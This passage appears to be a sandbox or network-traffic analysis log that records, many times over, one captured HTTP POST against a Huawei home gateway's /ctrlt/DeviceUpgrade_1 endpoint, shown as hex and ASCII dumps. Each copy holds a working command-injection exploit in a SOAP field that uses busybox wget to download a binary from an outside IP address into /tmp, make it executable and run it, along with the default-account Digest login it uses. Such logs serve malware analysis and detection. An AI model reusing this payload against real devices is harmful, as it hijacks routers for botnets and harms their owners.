64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 